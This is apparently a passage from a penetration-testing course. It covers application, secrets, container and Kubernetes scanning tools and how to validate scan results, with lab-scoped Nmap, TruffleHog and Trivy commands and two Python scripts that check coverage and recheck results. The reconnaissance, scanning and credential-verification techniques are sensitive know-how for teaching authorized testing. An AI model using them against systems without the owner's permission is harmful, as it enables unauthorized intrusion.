Dynamic application security testing (DAST) works from outside: it sends requests to a running application and judges the responses. It needs no source code, which makes it the answer when a stem gives you only a URL. ZAP, from Lesson 8, shows the two speeds.
- Passive scanning reads traffic passing through the proxy. ZAP's guide says it does not change responses and is considered safe.
- Active scanning sends known attacks. ZAP's documentation calls it an attack, says not to use it on applications you do not own, and warns of real damage to functions and data, so it belongs on a test environment named in the ROE.
Defect 6 is a passive result. This sample alert uses the rule's real details and a fictional URL:
Alert: Content Security Policy (CSP) Header Not Set (rule 10038-1, passive)
Risk: Medium
CWE: 693 WASC: 15
URL: https://portal-staging.example.com/invoices
Solution: set the header on the web server, application server or load balancer
The solution line explains why SAST missed it: the setting lives on a load balancer, outside the repository. A test login widens what DAST reaches, as with authenticated scans in Lesson 10: logged out, the crawl stops at the sign-in page. Even then, ZAP's documentation says broken access control "will not be found by any active or automated vulnerability scanning". That is defect 9: a driver opening another driver's invoice gets a normal page, and only a person knows it should have been refused.
Try the quiet version in your lab: browse Juice Shop at 127.0.0.1:3000 through ZAP's Manual Explore, read the Alerts tab, and leave active scanning off.

Mvb71 - CC BY-SA 4.0 - Wikimedia Commons
IAST: a sensor inside the running application
Interactive application security testing (IAST) joins the two views. NIST describes an agent in the test runtime, for example instrumenting the Java virtual machine; OWASP's guideline describes sensors that watch code and data flow while a test or a person exercises the application. Seeing the request and the code at the same moment, it can report both. Products differ, so this is the kind of record to expect, not any vendor's format:
SQL injection (CWE-89)
Request: GET /invoices/1042, sent by the QA test suite
Source: query parameter "id", read at routes.py:17
Sink: conn.execute(), invoices.py:43, value joined into the SQL text
The limit is coverage: if the test suite never opens the export page, the sensor is silent about it. IAST also needs an agent on the server, which the ROE must allow, and a supported runtime. Public documentation is thin and mostly from vendors, so learn the concept, and if the client already runs one, ask for its results. The exam shortcut: agent plus tests means IAST; no agent means DAST.

Dcoetzee ( File:Computer-blue.svg by OpenClipart,... - CC0 - Wikimedia Commons
Mobile scans: take the package apart, then watch it run
A mobile scan starts from something you can hold: an Android APK or an iOS IPA. You need no source code, though OWASP's testing guide strongly advises asking for it. MobSF, the Mobile Security Framework, is the open source tool to know: its static analyzer reads packages and source, and its dynamic analyzer runs the app on emulators, simulators or physical devices. Static analysis starts with the manifest, where defect 7 begins (fictional excerpt; Lesson 22 covers attacks on phones):
<application
android:debuggable="true"
android:allowBackup="true"
android:usesCleartextTraffic="true">
Android's documentation defines each: the app can be debugged even on a user's phone; it takes part in backup and restore; it intends to send cleartext traffic. Static analysis also turns up hardcoded keys and each bundled software development kit (SDK), which is SCA on a phone. Dynamic analysis shows what the app stores and sends when it runs. Neither tests the server behind the app, so run DAST on its API too. The fixes: release builds with the debug flag off, a network security configuration, and keys moved to the server.

Android Studio - CC BY-SA 4.0 - Wikimedia Commons
Secrets scanning: TruffleHog and the verification question
Secrets scanning hunts credentials stored where they should not be, like the Toyota key from Lesson 6. TruffleHog is the exam's tool. Its README, checked at release 3.99.8 on 3 November 2026, still says it classifies over 800 secret types, and it searches Git history, filesystems, images, object stores and logs. History is the point: Git keeps every commit, so defect 3 is in no current file, and a scan of the files as they stand may miss it. Here is a fictional result in TruffleHog's format, from trufflehog git file://. --no-verification:
Found unverified result
Detector Type: AWS
Raw result: AKIA[rest removed]
Line: 3
Commit: [hash removed]
File: config/deploy.env
The first line carries the status, which is what separates this tool from grep.
| Status | What it means | What it does not mean |
|---|---|---|
| verified | The provider's API accepted the credential at that moment | That you know everything it can reach |
| unverified | Detected, not confirmed: invalid, expired, or verification was off | That it is dead |
| unknown | Verification was tried and failed, as with a network or API error | Anything at all about the credential |
The README says that for every secret it can classify, TruffleHog can "log in to confirm" whether it is live; for an AWS key, it makes a GetCallerIdentity call with that key. Verifying a credential is using it, so it needs written permission like any other use. It is on by default, which means a bare scan command tries every credential it can classify. The call lands in the client's CloudTrail under your address. A decoy key planted to raise an alarm when used can wake the client's security team (the AWS detector's source lists accounts of one such service, Canarytokens).
TruffleHog's analysis feature, which sends many requests to learn what a credential can reach, needs its own permission.
So on a client job, run with --no-verification unless the ROE names verification, and send each candidate to the client's named contact, who can check its status in their own console without anyone using it.
Now change one flag. Many README examples use --results=verified, which prints only verified results. From an isolated network the call cannot reach AWS, so the status is unknown, the filter drops it, and the screen stays empty. The same happens with a password for an internal database you cannot reach. An empty verified-only run says nothing about whether secrets exist.
Trivy finds secrets too, masking the match, and its documentation describes no step that tests the credential; choose TruffleHog for Git history and classification. The fix starts with rotation: GitHub's guidance says to revoke or rotate first, because rewriting history cannot reach existing clones and forks. Then use a secrets manager, and add the pre-commit hook and pipeline check TruffleHog supports.
The core of it: finding a secret is reading, and verifying a secret is using it. Get the second in writing first, and never read "unverified" as "dead".

Daniel Kinzler - CC BY 3.0 - Wikimedia Commons
Container images: what Trivy and Grype read in the layers
Container scans take two forms: the image at rest, and the running container from beside it (next section). NIST SP 800-190 calls images effectively static archive files and names five image risks. Trivy and Grype match package versions to advisories for the first, image vulnerabilities. Trivy also checks configuration defects and embedded clear text secrets, and TruffleHog's docker mode finds secrets too. Embedded malware is on neither scanner's list, and untrusted images are a policy question.
Try both on Juice Shop in your lab: sudo trivy image --skip-db-update bkimminich/juice-shop and sudo grype bkimminich/juice-shop. It is deliberately vulnerable, so expect long lists. Trivy's output looks like this, abridged from its documentation with the image renamed:
portal:1.4 (alpine 3.20.5)
Total: 6 (UNKNOWN: 2, LOW: 0, MEDIUM: 2, HIGH: 2, CRITICAL: 0)
Library Vulnerability Severity Status Installed Fixed Title
libcrypto3 CVE-2024-12797 HIGH fixed 3.3.2-r1 3.3.3-r0 openssl: RFC7250 handshakes with...
| Trivy | Grype | |
|---|---|---|
| Finds | Vulnerabilities, misconfigurations, secrets and licenses in images, filesystems, repositories, VM images and Kubernetes | Known vulnerabilities in images, filesystems and SBOMs; its companion Syft builds SBOMs |
| Choose it when | One tool should cover image, templates and cluster | You are re-scanning stored SBOMs, ranking by likely exploitation, or want a second opinion |
Expect the two totals to differ; the SCA study named database accuracy as a key differentiator. Trivy also prefers vendor advisories for operating system packages, because vendors backport fixes, the false positive Lesson 12 opens on.
Now scan the same image next month, byte for byte, with a fresh database, and new rows should appear. NIST makes the point: an image free of known flaws when built does not stay that way. So your evidence needs the tool version, the database date (grype db status shows Grype's) and the image digest rather than a tag such as latest, because a tag can move. The fix, NIST says, goes upstream: rebuild the image from a patched base and redeploy, not patch a running container.
Tags moved in a real case. On 19 March 2026 an attacker with stolen credentials published a malicious Trivy v0.69.4. The attacker also force-pushed 76 of the 77 version tags in the trivy-action GitHub Action to credential-stealing code. Images referenced by digest were spared (Aqua advisory GHSA-69fq-xp46-6x23; the current release is v0.76.1). So pin scanners by digest or commit hash, and check a tool's advisories before pointing it at a client's code.

Drinkler - CC BY-SA 4.0 - Wikimedia Commons

DaniloBarros - CC BY-SA 4.0 - Wikimedia Commons
Sidecar scans: a scanner in the same pod
CompTIA lists sidecar scans without defining them, and we found no standard that does, so this is the working meaning, built from Kubernetes' documentation and two published designs. In Kubernetes, a pod is one or more containers sharing a network namespace, and a sidecar is a secondary container beside the main one. A sidecar scan puts a scanner or run-time sensor in that position, so it examines a live container from next door. MITRE's kube-secure-scanner publishes this design (trimmed here):
spec:
shareProcessNamespace: true # the scanner can see the app's processes
containers:
- name: app
- name: scanner
With the process namespace shared, Kubernetes documents that each container's filesystem is visible to the others through /proc/$pid/root, which is how the scanner reads the running app.
AWS GuardDuty is the second real example: Fargate tasks cannot be changed after they start, so it adds a sidecar to each new task at launch to collect run-time events.
A pipeline or registry scan sees the image at rest and nothing at run time. A node agent sees every pod on its node, but needs the node, which serverless platforms such as Fargate do not offer. A sidecar sees one live pod from inside, at the cost of changing the pod specification and running for the pod's whole life.
MITRE's risk analysis says the sidecar breaks container isolation for as long as the pod lives, and Kubernetes warns that passwords passed as arguments or environment variables become visible too. So use it only where the ROE allows changing a pod, record the change, and remove it at cleanup (Lesson 26).
Kubernetes clusters: Kube-hunter on the exam, Trivy at work
Kube-hunter looks for weaknesses in a running cluster. It is on the exam, but its README now opens with a notice that it is not under active development and that Aqua recommends Trivy; its latest release is v0.6.8, from May 2022. Learn its three positions:
- any outside machine (
--remote) gives an attacker's-eye view - a machine in the cluster (
--interface) shows what its network interfaces reach - a pod (
--pod) shows how exposed the cluster is if an application pod is compromised
By default it needs no credentials, and a normal hunt never changes the cluster's state. --active may exploit what it finds, which the README warns could be harmful. The README says never to run the tool on a cluster you do not own. Your lab has no cluster, so stop at kube-hunter --list, which prints the tests without contacting anything. A result row has six columns: ID, location, MITRE category, name, description and evidence. This fictional row uses a real ID and wording for defect 8:
KHV005 | 192.0.2.20:6443 | Initial Access // Exposed sensitive interfaces | Unauthenticated access to API | The API Server port is accessible. [wording shortened] | [response removed]
Trivy is the working replacement. trivy k8s --report summary connects with your kubeconfig under a role that can list resources. Its documentation still marks this experimental, and by default a node-collector job runs inside the cluster, so the ROE must allow that, or use --disable-node-collector and lose the node findings. If a stem asks for an outside view with no credentials, think Kube-hunter; if it offers a kubeconfig, think Trivy.

Khtan66 - CC BY-SA 4.0 - Wikimedia Commons
A worked performance-based question: one key, one clause, two decisions
You are testing Meridian's portal. ROE clause 7 reads: "No credential found during testing may be used, including to test whether it is valid, without written approval from the named security lead." Four results:
| Tool | Result | |
|---|---|---|
| A | TruffleHog, --no-verification | AWS, unverified, AKIA[rest removed], config/deploy.env line 3, commit of March 2024; file deleted in the next commit |
| B | Grype, PDF service image | log4j-core 2.14.1, fixed in 2.15.0, CVE-2021-44228, Critical, (kev) |
| C | trivy config | HIGH: SSH open to any address, network.tf:7 |
| D | ZAP passive, staging | Medium: Content-Security-Policy header not set |
Decide: the order for the client, and whether any goes today; and whether you may confirm the key is live.
- Order: A, B, C, D, with A today. A severity column would put B first, because TruffleHog gives A no severity at all. But AKIA marks a long-term key (Lesson 8), which works until someone turns it off, and anyone who can read the repository can recover it, so it goes through the escalation path the same day. B follows closely: Critical, with a KEV entry, though someone must still read the code to learn whether the service logs anything a user controls (Lesson 12). C is a template result not yet confirmed live. D is a missing protection, not a flaw an attacker can use by itself.
- Confirm the key? No. Rerunning without --no-verification would breach clause 7. Send the redacted candidate to the security lead and ask them to check it. "Deleted in the next commit" changes nothing, because Git kept it.
Second run, one changed input. The security lead emails written approval to verify that one key today. If it returns verified, A is a confirmed live key: Critical. You stop there, because approval to verify is not approval to explore, and the incident path takes over. If unverified, it probably no longer logs in: severity falls, but the finding stays open as a control failure until the client confirms rotation. If unknown, you have learned nothing about the key, so check your own network and say so.
The whole family at a glance
| Scan | Weakness it looks for | Tools | What defenders see | Fix |
|---|---|---|---|---|
| SAST, source code analysis | Unsafe patterns; untrusted data reaching a sink | Bandit, Semgrep | A clone in repository logs | Fix the code; rule in IDE and pipeline |
| SAST, IaC | Insecure settings in templates | Trivy, Checkov | Nothing on the network | Fix the template, not the live system |
| SCA | Known flaws in third-party components | Grype, Trivy | Nothing on the network | Upgrade; keep an SBOM |
| Secrets scanning | Credentials in files and history | TruffleHog, Trivy | Repository reads; provider logs if verified | Rotate first; secrets manager; pre-commit hook |
| Image scan | Outdated packages, root user, embedded secrets | Trivy, Grype | Registry pulls | Rebuild from a patched base; pin by digest |
| Sidecar scan | Run-time state of one pod | kube-secure-scanner, GuardDuty | Extra container; new pod in the audit log | Fix in the image; remove the scanner afterward |
| Cluster scan | Exposed services; weak cluster settings | Kube-hunter, Trivy | Probes in audit logs; list calls; a new job | Anonymous access off; tighter role-based access control (RBAC) |
| DAST | Flaws visible from outside | ZAP, Burp Suite | Request bursts; error spikes; firewall alerts | Fix the app or server; retest |
| IAST | Flawed data flow during tests | Contrast, Seeker | An agent in the process | Fix the named line; widen test coverage |
| Mobile scan | Risky manifest flags; hardcoded keys | MobSF | Test phone traffic, if dynamic | Release settings; keys off the phone |
Exam cues: what the stem hands you, and the scan it points to
| The stem says | It points to | Do not confuse it with |
|---|---|---|
| "Only a URL", "no source code" | DAST | SAST, which needs the code; IAST, which needs an agent |
| "Agent", "sensor", "during QA tests" | IAST | DAST, which has no view inside |
| "Open source libraries", "dependencies", "SBOM" | SCA | SAST, which reads the code the team wrote |
| "Terraform", "before deployment" | IaC scan, a form of SAST | A live cloud audit (Lesson 19) |
| "API key in an old commit" | Secrets scanning of Git history; TruffleHog | SAST of the current code |
| "Confirm the key is live" | TruffleHog verification, with written permission | Detection, which only reads |
| "One tool for vulnerabilities, misconfigurations and secrets" | Trivy | Grype, which reports vulnerabilities only |
| "Rank by EPSS and KEV" | Grype | Trivy, which shows severity and fix status |
| "Same pod", "shared process namespace" | Sidecar scan | Node agent or registry scan |
| "Attacker's view of the cluster", "no credentials" | Kube-hunter in remote mode | Trivy, which connects with a kubeconfig |
| "Change the invoice number" | Manual testing for broken access control | Any automated scan |
How these scan findings are reported
A scanner's row is evidence, not a finding: you add what it means. Here is result A, written as you would for a client.
- Title: AWS access key remains in the invoice-portal Git history.
- Severity: High pending the client's check, Critical if the key is active. Anyone with repository read access can recover it, and an AKIA key does not expire by itself. Its status and rights were not tested, as ROE clause 7 requires.
- Evidence: TruffleHog 3.99.8,
trufflehog git file://. --no-verification, run on the stated date. Detector AWS, status unverified, config/deploy.env line 3, commit [hash removed]. Value redacted. Key not used. - Root cause: a credential was committed in a configuration file. Deleting the file removed it from the current tree, not from history, and no pre-commit or pipeline secrets check was in place.
- Remediation: deactivate and replace the key first. Review CloudTrail for use since March 2024. Move to a secrets manager or short-lived role credentials. Add TruffleHog as a pre-commit hook and a CI/CD check. Rewrite history only afterward, knowing it cannot reach existing clones and forks. Retest with the same command.
The other scans follow the same shape. An SCA finding says "present" or "reachable" and which you proved. An IaC finding says whether it was confirmed live. An image finding gives the digest and database date. A DAST finding gives the request, response and environment. List what went unscanned as limitations, such as "prod.tfvars not supplied".
Common misconceptions
- "A clean SAST report means the code is safe." SAST struggles with authentication and access control, and often cannot see configuration.
- "Deleting the file removes the secret." Git keeps every commit, and clones keep their copies. Rotate first.
- "Unverified means dead." It means not confirmed: verification may have been off, blocked or unable to reach the service.
- "Verification is a harmless part of scanning." It uses the credential, shows in the provider's logs and needs written permission.
Summing up
- SAST reads code without running it, through source code analysis and IaC; it names the line but misses logic flaws and settings outside the code.
- SCA matches third-party components, including transitive ones, to known vulnerabilities; presence is not proof of use, and nine tools in one 2021 study reported 17 to 332 vulnerable Maven dependencies for one application.
- DAST needs a running application and no source; ZAP's passive scanning is considered safe, and its active scanning is an attack.
- IAST is an agent plus test traffic: it reports the request and code line, and is silent about code the tests never run.
- TruffleHog classifies over 800 secret types and reports verified, unverified or unknown. Verifying is using the credential, needs written permission, and is on unless you pass --no-verification.
- Trivy finds vulnerabilities, misconfigurations, secrets and licenses; Grype finds known vulnerabilities, ranked with EPSS and KEV. Record tool version, database date and image digest.
- A sidecar scan puts the scanner in the same pod, often sharing its process namespace, which needs a pod change and weakens isolation.
- Kube-hunter runs remotely, on a cluster machine or in a pod, needs no credentials by default, changes state only with --active, and is no longer actively developed.
Sources
- Truffle Security. (2026). TruffleHog (Version 3.99.8): README and AWS detector source. github.com
- Anchore. (2026). Grype (Version 0.121.1): README; Interpreting the results; Configuration. github.com
- Aqua Security. (2026). Trivy (Version 0.76.1): README and guide; trivy-checks (AWS-0107, DS-0002); kube-hunter README; and Advisory GHSA-69fq-xp46-6x23, March 21, 2026. Trivy guide; kube-hunter; advisory
- Souppaya, M., Morello, J., and Scarfone, K. (2017). Application container security guide (NIST SP 800-190), sections 3.1 and 4.1; and Chandramouli, R. (2022). Implementation of DevSecOps for a microservices-based application with service mesh (NIST SP 800-204C), section 4.8. National Institute of Standards and Technology. SP 800-190; SP 800-204C
- OWASP Foundation. (n.d.). Source code analysis tools; Static code analysis; DevSecOps guideline: Interactive application security testing; Mobile application security testing guide. SAST tools; MASTG
- ZAP Dev Team. (n.d.). Active scan; Getting started; Alert 10038-1. getting started
- The Kubernetes Authors. (n.d.). Sidecar containers; Pods; Share process namespace between containers in a pod. kubernetes.io. MITRE. (n.d.). Kube secure scanner: Sidecar container approach; risk analysis. mitre.github.io
- Amazon Web Services. (n.d.). Deploying the security agent to Amazon ECS on Fargate; Logging IAM and AWS STS API calls with AWS CloudTrail. GuardDuty; CloudTrail
- Imtiaz, N., Thorne, S., and Williams, L. (2021). A comparative study of vulnerability reporting by software composition analysis tools. arXiv:2108.12078. arxiv.org
- Apache Software Foundation. (n.d.). Log4j security vulnerabilities (CVE-2021-44228). logging.apache.org
- Other documentation read 3 November 2026: PyCQA, Bandit B608; MobSF README; Bridgecrew, Checkov README; Android Developers, application element; GitHub Docs, Removing sensitive data from a repository. Bandit; MobSF; Android; GitHub
- Key terms
- Static application security testing
- SAST: examining an application's source code, bytecode or binaries for flaws without running it.
- Dynamic application security testing
- DAST: testing a running application from the outside by sending requests and judging the responses; it needs no source code.
- Interactive application security testing
- IAST: an agent or sensor inside a running application watches data flow while tests exercise it, then reports the request and the code line together.
- Software composition analysis
- SCA: identifying the open source and third-party components in an application, along with their known vulnerabilities and license terms.
- Infrastructure as code
- IaC: defining servers, networks and clusters in text files that a tool deploys, which means they can be scanned before anything is built.
- Software bill of materials
- SBOM: an inventory of the components in a piece of software, in a standard format such as SPDX or CycloneDX.
- Taint analysis
- Following a user-controlled value through a program to see whether it reaches a dangerous function, the sink, without being sanitized.
- Secrets scanning
- Searching files, Git history, images and logs for credentials stored where they should not be.
- Credential verification
- Testing a discovered credential against its provider, such as an AWS GetCallerIdentity call; this is use of the credential and needs written permission.
- Sidecar scan
- A scanner or sensor running as a second container in the same Kubernetes pod as the workload, examining it live, often through a shared process namespace.
True, False, or Missing: Validating Results and Choosing Public Exploits
- Classify reconnaissance, scanning and enumeration results as true positives, false positives or false negatives, and apply a written validation step before any finding is reported.
- Prove scan completeness and troubleshoot scan configurations from a tool's own record, including failed logins, timing limits and blocked probes.
- Modify Bash and Python scripts that re-test results by a second method and compare them with a control.
- Judge a public exploit by reading it first and weighing its match to the target, its reliability, its effect on production and the rules of engagement.
The patch that kept the old version number
On 1 July 2024, Ubuntu fixed a remote code execution flaw in the OpenSSH on its 24.04 servers, and the fixed software went on announcing itself as version 9.6p1, a number inside the vulnerable range. A tool that only compares version numbers will call that server vulnerable for as long as it runs. Here is what that does to a status note from Jonas, a fictional tester on his first solo job, about Brightwater Clinics, a fictional client whose scope is 203.0.113.0/26, which is 62 usable addresses.
1 CRITICAL 203.0.113.20 CVE-2024-6387, remote code execution in OpenSSH.
Evidence: scanner result; banner SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.3
2 CLEAN 203.0.113.21 File server. Authenticated scan: 0 missing patches.
3 COVERAGE All 62 in-scope hosts scanned, all ports.
4 NEXT Tonight: run a public exploit for line 1 to prove impact. Found a
GitHub repo with 400 stars that promises a root shell.
Every fact in that note came from a tool, and all four conclusions are wrong, each in its own way. Those four failures are what objective 3.2 tests, and they need names.
| The weakness is really there | The weakness is not there | |
|---|---|---|
| The tool reports it | True positive. Report it, with proof | False positive. Costs the client time and costs you credibility |
| The tool says nothing | False negative. The client believes a hole is closed, the worst of the four | True negative. Correct, but you only know that if the test truly ran |
Scanners make both errors routinely. NIST SP 800-115 warns of high false positive rates and of flaws that signature-based tools miss, and tells assessors not to simply accept a scanner's risk ratings.
In short: tool output is a claim. You report what you confirmed and label the rest as unconfirmed.
Exam objectives: 3.2 (validating scan, reconnaissance and enumeration results: false positives, false negatives, true positives, scan completeness and troubleshooting scan configurations; public exploit selection; using scripting to validate results).

Walber - CC BY-SA 4.0 - Wikimedia Commons
Before you run anything
Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. A second look at a host is a second touch of that host, and it needs the same authorization as the first. Jonas's client is fictional. Every command you run names your own lab: Metasploitable at 192.168.56.102 and Juice Shop at 127.0.0.1:3000, from Kali with its NAT adapter disconnected. No exploit runs here and no exploit code appears. Nessus needs an account, so its output appears only as samples.
Line 1: how backporting produces a false positive
The scanner read the banner and found 9.6p1 inside the range Qualys published for CVE-2024-6387: 8.5p1 up to, but not including, 9.8p1. The flaw allows remote code execution (RCE), meaning an attacker's code runs on the server over the network, here with no login. The number matched, so the scanner raised the alarm.
Lesson 7 told you a banner is a claim. Here is why this one misleads. Distributions rarely jump to a new upstream release to fix one bug, because that can break whatever was built on the old one. They copy the fix into the release they already ship, which is backporting. Red Hat warns that the version number alone will not say whether a package is vulnerable, and that tools deciding on version alone produce false positives.
Ubuntu's notice USN-6859-1 lists the fixed package for 24.04 as 1:9.6p1-3ubuntu13.3. A Debian-style version reads epoch, upstream version, then the distribution's revision, and only the revision changed. That revision also appears in the banner, unless an administrator turned it off with the DebianBanner setting. So one plugin and one upstream version can give three verdicts.
| Banner on port 22 | Installed package, from an authenticated check | Verdict |
|---|---|---|
OpenSSH_9.6p1 Ubuntu-3ubuntu13.3 | 1:9.6p1-3ubuntu13.3, the fixed version | False positive (Jonas's host) |
OpenSSH_9.6p1 Ubuntu-3ubuntu13 | 1:9.6p1-3ubuntu13, an earlier package without the fix | True positive |
OpenSSH_9.6p1 | No login allowed, so unknown | Unconfirmed: the banner cannot decide |
Two characters, the final .3, flip the verdict. The suffix is a good hint but still a claim. Proof comes from the package system, using credentials the client supplied. On Debian and Ubuntu, use dpkg -s openssh-server | grep Version. On the Red Hat family, use rpm -q --changelog openssh-server and look for the CVE number. Compare the answer with the vendor's fixed version, never with the upstream number. Try this in your lab: on Metasploitable's console, as msfadmin, that dpkg command should show something like Version: 1:4.7p1-8ubuntu1.
Good scanners tell you how far to trust a result, if you look. Greenbone's Quality of Detection (QoD), used with OpenVAS, scores each result by how it was found.
| QoD | Type | How the test decided |
|---|---|---|
| 100% | exploit | An exploit proved it |
| 97% | package, registry | Authenticated: read installed packages or the Windows registry |
| 80% | remote_banner | Banner of a product that shows its patch level |
| 30% | remote_banner_unreliable | Banner with no patch level, common in open source because of backports |
By default Greenbone displays only 70% and above, and warns that lower results are prone to false positives. Notice the trade: that filter also hides real weaknesses that only a weak test noticed. Tenable Nessus makes a similar trade with Safe Checks, on by default, which use banner grabbing rather than active testing.
The validation step every result must pass
Lesson 7 promised a validation step before any finding is reported, and Lesson 9 told you to note which results you checked by hand. Here it is, for any output from OSINT to a vulnerability scanner.
- State the claim. One sentence: this weakness, on this host and port.
- Ask how the tool knows. A banner, an active response, a package list, someone else's index? Read the result's detail, not its title.
- Check it a different way, by hand. This is the manual check. A different method fails differently, while rerunning the same scan proves only that the tool is consistent.
- Run a control. A negative control asks something that cannot be true, such as a page that cannot exist. A positive control points your setup at something it must find, such as Telnet on Metasploitable.
- Record a verdict. Confirmed, false positive or unconfirmed, with the command, date, source address and raw output, in the evidence file from Lesson 9.
A sensible default is every Critical and High result by hand, then scripts and a recorded sample for the rest, unless your firm sets its own rule. If a check would need more than verification, stop and read the ROE: NIST says target validation carries the greatest risk of any assessment technique.
The same check across reconnaissance, scanning and enumeration
| Result | Why it can mislead | Second check and tools | What defenders see |
|---|---|---|---|
| Subdomain from certificate transparency logs | The certificate outlives the host | Look it up with dig; compare the address with scope | A DNS lookup at most |
| Open port in Shodan (needs an account) | An earlier crawl, not today's state | Your own scan, if in scope | A connection in firewall logs |
| CVE matched on version | Back-ported fix; edited banner | Vendor notice plus a package query | A login by the scan account |
| Secure Sockets Layer (SSL) 3.0 offered | A load balancer answered, not the server | sudo nmap --script ssl-enum-ciphers -p 25 192.168.56.102 in your lab | Many connections; Nmap files this script under intrusive |
| Web path found | Soft 404: every path returns 200 | Control request: softcheck.sh | One more line in web logs |
| Mail user exists | A 252 reply means the server will not verify | Same question with a name that cannot exist | VRFY lines in mail logs |
The objectives' acronym list writes "Secure Socket Layer", but the protocol's name in RFC 6101 is Secure Sockets Layer, the predecessor of TLS. RFC 7568 says SSL 3.0 must not be used, so a confirmed result is a real finding, filed against whichever device answered.
Line 2: the clean host nobody actually examined
Zero missing patches sounds like good news. Apply step 2: how does the tool know? An authenticated scan logs in and reads what is installed, so zero means either fully patched or never got in. The scan's own record says which. In Nessus, plugin 19506 prints each host's scan settings, and other plugins report login problems. This sample is fictional, and wording varies by version.
Host 203.0.113.21
19506 Nessus Scan Information
Credentialed checks : no
104410 Target Credential Status by Authentication Protocol - Failure for Provided Credentials
21745 OS Security Patch Assessment Failed
The login failed, so the patch checks never ran. The honest statement is "not assessed", and it goes in the limitations. Now change one input: the administrator fixes the service account, you rescan, the line reads Credentialed checks : yes, as 'svc_scan' via ssh, and 31 missing patches appear. Same host, same scanner, opposite story. Learn the third state too: plugin 110385, Insufficient Privilege, means the login worked but the account could not read everything, so partial results look complete.
A false negative produces no output of its own, so you look for it in the scan's setup. These are the usual causes.
- A login that failed or lacked privilege.
- A port outside the list. A default Nmap scan covers 1,000 ports, and Metasploitable's distccd on 3632, which Rapid7's guide says an attacker can abuse to run commands, is not among them.
- A test turned off or filtered out: Safe Checks, a narrow policy, a QoD filter.
- A stale plugin set or feed. A scanner cannot flag what its plugins do not contain, and plugin 19506 reports the set's version.
- A broken script, like
smbcheck.shin Lesson 9, which printed nothing with port 445 wide open.
To test for these, use a positive control: if your policy cannot find Telnet on Metasploitable, it cannot find Telnet anywhere. NIST adds a second tactic, comparing more than one scanner. Neither makes a false negative impossible, which is why a report says what was tested rather than promising the host is secure.
Line 3: proving scan completeness from the tool's own record
"All 62 hosts, all ports" can be tested, because Nmap writes down what it did. The XML you parsed in Lesson 9 records the ports planned per protocol and lists the hosts found up. This script compares it with a scope file holding one address per line.
#!/usr/bin/env python3
"""coverage.py SCOPE.txt SCAN.xml: what did this Nmap scan actually cover?"""
import sys
import xml.etree.ElementTree as ET
scope = {line.strip() for line in open(sys.argv[1]) if line.strip()}
try:
root = ET.parse(sys.argv[2]).getroot()
except ET.ParseError:
sys.exit("INCOMPLETE: the XML is cut off, so this scan never finished")
for info in root.iter("scaninfo"):
print(f"planned: {info.get('numservices')} {info.get('protocol')} ports per host")
up = {h.find("address").get("addr") for h in root.iter("host")
if h.find("status").get("state") == "up"}
print(f"in scope: {len(scope)}, answered: {len(up)}")
for address in sorted(scope - up):
print(f"NOT SEEN, ports never scanned: {address}")
Fed Jonas's file, it prints this fictional sample:
$ python3 coverage.py scope.txt brightwater.xml
planned: 1000 tcp ports per host
in scope: 62, answered: 54
NOT SEEN, ports never scanned: 203.0.113.37
[seven more addresses removed]
"All ports" was 1,000 TCP ports, and with no second planned line, no UDP at all. "All 62 hosts" was 54. Nmap does not port-scan a host that fails discovery, so those eight may be empty or may ignore ping, and he cannot say which until he rescans with -Pn or checks the client's asset list.
On your own files, with 192.168.56.102 as the only line in scope.txt, lab-full.xml from Lesson 7 should give planned: 65535 tcp ports per host and one host answered. Change one input: scan with defaults, sudo nmap -sS 192.168.56.102 -oX lab-default.xml, and the planned line drops to 1000, while scan2csv.py from Lesson 9 counts about 23 open ports rather than 30. (It overwrites open.csv, so rerun it on lab-full.xml afterward.) If you stop a scan with Ctrl+C, the script says INCOMPLETE, and nmap --resume can continue from the saved file.
Other tools keep similar records: plugin 19506 reports port range and duration, and a dynamic web scan's crawl list shows whether it got past the login page. One that stayed on /login tested one page.

Tuankiet65 ( talk · contribs ) - Public domain - Wikimedia Commons
Troubleshooting scan configurations: symptom, cause, change
When a result looks wrong, fix the configuration before you trust the next run. Nmap will show its reasoning: --reason prints the packet that decided each state, XML stores it either way, and tcpdump in a second terminal shows what truly left your interface, as in Lesson 7. Sample output:
$ sudo nmap -sS --reason -p 21,8888 192.168.56.102
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 64
8888/tcp closed sun-answerbook reset ttl 64
Repeat Lesson 7's firewall experiment and port 21 reads 21/tcp filtered ftp no-response. The service is the same; the silence is what changed.
| What you see | Likely cause | Confirm with | Change, within the ROE |
|---|---|---|---|
Note: Host seems down or 0 hosts up, but the client says it exists | Probes blocked, or the wrong interface | --iflist, ip route, tcpdump | -Pn; fix the route, or name the interface with -e eth1 |
| A known service is missing | Port outside the list; no UDP scan | The planned line from coverage.py | -p-, or name the port; -sU for key UDP ports |
giving up on port because retransmission cap hit (2), or Skipping host 192.168.56.102 due to host timeout | Timing too aggressive: -T5 allows 2 retries and a 15-minute host timeout; -T4 allows 6 retries | Rerun a sample at default timing and compare | -T3 or -T4, or raise --max-retries and --host-timeout |
| Ports turn filtered part-way, or later hosts go silent | An intrusion prevention system (IPS) or rate limiter reacted | --reason shows no-response where you had answers | Call the ROE contact; agree on an allow-listed source address or a slower rate. Slipping past the block is a different test that needs written permission |
| An authenticated scan looks unauthenticated | Login failed or lacks privilege | Plugins 19506, 104410, 110385 | Fix the account and rescan |
Scripting to validate results: a second method and a control
Hand checks do not scale to 300 rows, so script the dull part, using a different method from the tool you are checking. recheck.py reads the open.csv from scan2csv.py, refuses anything outside scope, completes a full TCP connection rather than a half-open probe, reads whatever the service says first, and prints a dated verdict. It pauses between rows, as portcheck.sh does, to respect the ROE's rate.
#!/usr/bin/env python3
"""recheck.py FILE.csv: test each row of a scan2csv.py file a second way."""
import csv
import ipaddress
import socket
import sys
import time
# ... SCOPE and def in_scope, copied unchanged from your scraper in Lesson 9 ...
def recheck(host, port):
"""Complete a full TCP connection, then read what the service says first."""
try:
with socket.create_connection((host, port), timeout=3) as conn:
try:
return "CONFIRMED", conn.recv(200).decode(errors="replace").strip()
except socket.timeout:
return "CONFIRMED", "(no greeting)"
except OSError as problem:
return "NOT CONFIRMED", type(problem).__name__
for row in csv.DictReader(open(sys.argv[1], newline="")):
if not in_scope(row["host"]):
print(f"REFUSED {row['host']}: outside scope")
continue
verdict, evidence = recheck(row["host"], int(row["port"]))
print(time.strftime("%Y-%m-%d %H:%M"), f"{row['host']}:{row['port']} {verdict}: {evidence}")
time.sleep(0.5)
